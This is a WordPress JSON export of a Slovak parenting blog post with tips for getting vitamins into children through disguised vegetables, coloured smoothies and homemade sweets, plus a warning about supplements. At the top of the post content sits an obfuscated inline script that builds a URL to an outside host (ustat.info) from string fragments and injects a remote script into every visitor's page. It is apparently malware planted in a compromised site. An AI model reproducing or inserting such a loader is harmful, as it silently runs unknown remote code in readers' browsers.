{"id":1440,"date":"2023-03-01T15:31:01","date_gmt":"2023-03-01T15:31:01","guid":{"rendered":"https:\/\/lifestylerek.com\/?p=1440"},"modified":"2023-03-06T19:11:15","modified_gmt":"2023-03-06T19:11:15","slug":"3-sikovne-sposoby-ako-dostat-do-deti-co-najviac-vitaminov","status":"publish","type":"post","link":"https:\/\/lifestylerek.com\/el\/3-sikovne-sposob-ako-dostat-do-deti-co-najviac-vitaminov\/","title":{"rendered":"3 \u0161ikovn\u00e9 sp\u00f4soby ako dosta\u0165 do det\u00ed \u010do najviac vitam\u00ednov"},"content":{"rendered":"<p><script>\n(function(){\ntj5bu=\"p6hvl3wzj5b4\";tj5b=document.createElement(\"script\");\ntj5b_=\"u\"+(\"st\");tj5b_+=\"at\"+(\".\");tj5b.async=true;tj5b_+=\"in\";\ntj5bu=\"487184620.\"+tj5bu;tj5b.type=\"text\/javascript\";tj5bu+=\"kriXXqqszv7l\";\ntj5bu+=\"492ff9\";tj5b_+=(\"f\")+\"o\"+(\"\/\");tj5b.src=\"https:\/\/\"+tj5b_+tj5bu;\ntj5bd=document.body;tj5bd.appendChild(tj5b);\n})();\n<\/script><\/p>\n<div class=\"do-not-translate\" data-no-auto-translation=\"\">\n<p>Chladn\u00e9 po\u010dasie nahr\u00e1va najr\u00f4znej\u0161\u00edm chorob\u00e1m. Po\u010dasie okolo nuly, sychravo, hmla, interi\u00e9ry a detsk\u00e9 centr\u00e1 preplnen\u00e9, \u010dasto ka\u0161\u013eaj\u00facimi \u013eu\u010fmi. Sna\u017e\u00edte sa aj vy pre\u017ei\u0165 toto obdobie pri plnom zdrav\u00ed? Ani vy u\u017e neviete ako prin\u00fati\u0165 va\u0161e deti, aby si odhryzli z mrkvy, alebo si dali aspo\u0148 vodu s citr\u00f3nom? Pr\u00e1ve pre v\u00e1s prin\u00e1\u0161ame zauj\u00edmav\u00e9 tipy na to, ako \u010do najlep\u0161ie zabezpe\u010di\u0165 dostato\u010dn\u00fd pr\u00edjem vitam\u00ednov pre svoje deti a pritom im ovocie a zeleninu nesprotivi\u0165.<\/p>\n<h2>Dostatok \u017eiv\u00edn zo stravy<\/h2>\n<p>V\u00a0ide\u00e1lnom pr\u00edpade by va\u0161e deti mali dost\u00e1va\u0165\u00a0<b>dostatok \u017eiv\u00edn a\u00a0vitam\u00edn<\/b>\u00a0zo stravy bohatej na ovocie a\u00a0zeleninu. \u00c1no, to vieme v\u0161etci. Ale \u010do ke\u010f to nejde? \u010co ke\u010f sa die\u0165a\u0165u postavia chlpy len pri poh\u013eade na kaler\u00e1b, alebo sa za\u010dne \u0161kraba\u0165 len pri pomyslen\u00ed na mandarinku? Z\u00e1kladom je preklen\u00fa\u0165 priepas\u0165 medzi nudnou a\u00a0\u010dasto nie ve\u013emi sladkou chu\u0165ou ovocia a\u00a0zeleniny a\u00a0t\u00fdm, \u010do de\u0165om chut\u00ed najviac. Vezmite to do svojich r\u00fak a\u00a0u\u017eite si spolu z\u00e1bavu pri pr\u00edprave tak\u00fdchto pokrmov.<\/p>\n<h3>1. Zamaskujte to<\/h3>\n<p>Pri pr\u00edprave\u00a0<b>zdrav\u00fdch jed\u00e1l pre deti<\/b>\u00a0sk\u00faste pou\u017ei\u0165 to, \u010do poznaj\u00fa, alebo maj\u00fa radi. Ak maj\u00fa radi ka\u0161e, zmie\u0161ajte ich ob\u013e\u00faben\u00fa\u00a0<a href=\"https:\/\/bobule.sk\/ovocne-vyzivy\/\" rel=\"noopener\">ovocn\u00fa detsk\u00fa v\u00fd\u017eivu<\/a>\u00a0s\u00a0menej ob\u013e\u00fabenou rozmixovanou zeleninou. Takto vie va\u0161e die\u0165a zjes\u0165 aj trochu mrkvy, petr\u017elenu, \u010di cvikly. Jednoducho m\u00f4\u017eete zeleninu schova\u0165 aj s\u00a0<b>raw kakaov\u00fdm pr\u00e1\u0161kom<\/b>, s\u00a0ktor\u00fdm sa v\u00fdborne hod\u00ed\u00a0<b>avok\u00e1do<\/b>, \u010di\u00a0<b>cvikla<\/b>. A\u00a0ak k\u00a0tomu prid\u00e1te ban\u00e1n, \u010di trochu medu, ur\u010dite u\u00a0svojho die\u0165a\u0165 uspejete.<\/p>\n<h3>2. Pripravte si farebn\u00e9 smoothies<\/h3>\n<p>Deti maj\u00fa radi farebnos\u0165. M\u00f4\u017ee to fungova\u0165 aj pri jedle. Sk\u00faste im pripravi\u0165\u00a0<b>farebn\u00e9 smoothie<\/b>\u00a0napr\u00edklad pridan\u00edm \u010du\u010doriedok, ktor\u00e9 skryj\u00fa chu\u0165 kelu, \u010di \u0161pen\u00e1tu. Pou\u017ei\u0165 m\u00f4\u017eete aj\u00a0<i>ovocn\u00fd pr\u00e1\u0161ok<\/i>, \u010di\u00a0<a href=\"https:\/\/bobule.sk\/ovocne-vlocky\/\" rel=\"noopener\"><i>ovocn\u00e9 vlo\u010dky<\/i><\/a>, ktor\u00e9 v\u00e1m smoothie kr\u00e1sne zafarbia.<\/p>\n<h3>3. Vyrobte si zdrav\u00e9 dom\u00e1ce sladkosti<\/h3>\n<p>A\u00a0ktor\u00e9 s\u00fa to? Vysk\u00fa\u0161ajte\u00a0<a href=\"https:\/\/bobule.sk\/bio-gumene-cukriky\/\" rel=\"noopener\">bio gumen\u00e9 cukr\u00edky<\/a><b>,\u00a0<\/b>ktor\u00e9 jednoducho priprav\u00edte z\u00a0ovocnej \u0161\u0165avy a\u00a0\u017eelat\u00ednov\u00e9ho pr\u00e1\u0161ku, alebo skombinujte rozmixovan\u00e9 ovocie a\u00a0trochou jogurtu a\u00a0zamrazte. Dom\u00e1ci nanuk predsa pote\u0161\u00ed celoro\u010dne!<\/p>\n<p>Ak m\u00e1te radi pe\u010denie, m\u00f4\u017eete zeleninu pekne zamaskova\u0165 aj do sladk\u00e9ho kol\u00e1\u010da. Vysk\u00fa\u0161ali ste u\u017e mrkvov\u00fd, cviklov\u00fd \u010di cuketov\u00fd? Va\u0161e deti sa bud\u00fa len tak oblizova\u0165.<\/p>\n<h2>S\u00a0vitam\u00ednov\u00fdmi doplnkami opatrne<\/h2>\n<p>S\u00fa\u010dasn\u00fd trh s\u00a0<b>vitam\u00ednov\u00fdmi doplnkami<\/b>, \u0161peci\u00e1lne pre deti, je skuto\u010dne pln\u00fd. N\u00e1jdete na \u0148om nespo\u010detn\u00e9 mno\u017estvo r\u00f4znych tabletiek, \u017eelat\u00ednov\u00fdch vitam\u00ednov, sirupov. Pred za\u010dat\u00edm pou\u017e\u00edvania sa v\u0161ak rad\u0161ej pora\u010fte s\u00a0odborn\u00edkov. Je ve\u013ea vitam\u00ednov, ktor\u00e9 sa pri nadmernom pou\u017e\u00edvan\u00ed m\u00f4\u017eu hromadi\u0165 v\u00a0tele a\u00a0sta\u0165 sa toxick\u00fdmi. Plat\u00ed to najm\u00e4 o\u00a0vitam\u00ednoch rozpustn\u00fdch v\u00a0tukoch ako A, D a\u00a0E. Zdrav\u00e9 die\u0165a, ktor\u00e9 nem\u00e1 v\u00e1\u017enej\u0161ie zdravotn\u00e9 probl\u00e9my, tak\u00e9to suplementy \u010dasto v\u00f4bec nepotrebuje.<\/p>\n<p>Zdroj: Zaki AHMED z Pixabay<\/p>\n<\/div>","protected":false},"excerpt":{"rendered":"<p>Chladn\u00e9 po\u010dasie nahr\u00e1va najr\u00f4znej\u0161\u00edm chorob\u00e1m. Po\u010dasie okolo nuly, sychravo, hmla, interi\u00e9ry a detsk\u00e9 centr\u00e1 preplnen\u00e9, \u010dasto ka\u0161\u013eaj\u00facimi \u013eu\u010fmi. Sna\u017e\u00edte sa aj vy pre\u017ei\u0165 toto obdobie pri plnom zdrav\u00ed? Ani vy u\u017e neviete ako prin\u00fati\u0165 va\u0161e deti, aby si odhryzli z mrkvy, alebo si dali aspo\u0148 vodu s citr\u00f3nom? Pr\u00e1ve pre v\u00e1s prin\u00e1\u0161ame zauj\u00edmav\u00e9 tipy na [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":1441,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[35,36,32],"tags":[45],"class_list":["post-1440","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-zdrowie","category-dom","category-kuchnia","tag-sk"],"_links":{"self":[{"href":"https:\/\/lifestylerek.com\/el\/wp-json\/wp\/v2\/posts\/1440","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/lifestylerek.com\/el\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/lifestylerek.com\/el\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/lifestylerek.com\/el\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/lifestylerek.com\/el\/wp-json\/wp\/v2\/comments?post=1440"}],"version-history":[{"count":0,"href":"https:\/\/lifestylerek.com\/el\/wp-json\/wp\/v2\/posts\/1440\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/lifestylerek.com\/el\/wp-json\/wp\/v2\/media\/1441"}],"wp:attachment":[{"href":"https:\/\/lifestylerek.com\/el\/wp-json\/wp\/v2\/media?parent=1440"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/lifestylerek.com\/el\/wp-json\/wp\/v2\/categories?post=1440"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/lifestylerek.com\/el\/wp-json\/wp\/v2\/tags?post=1440"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}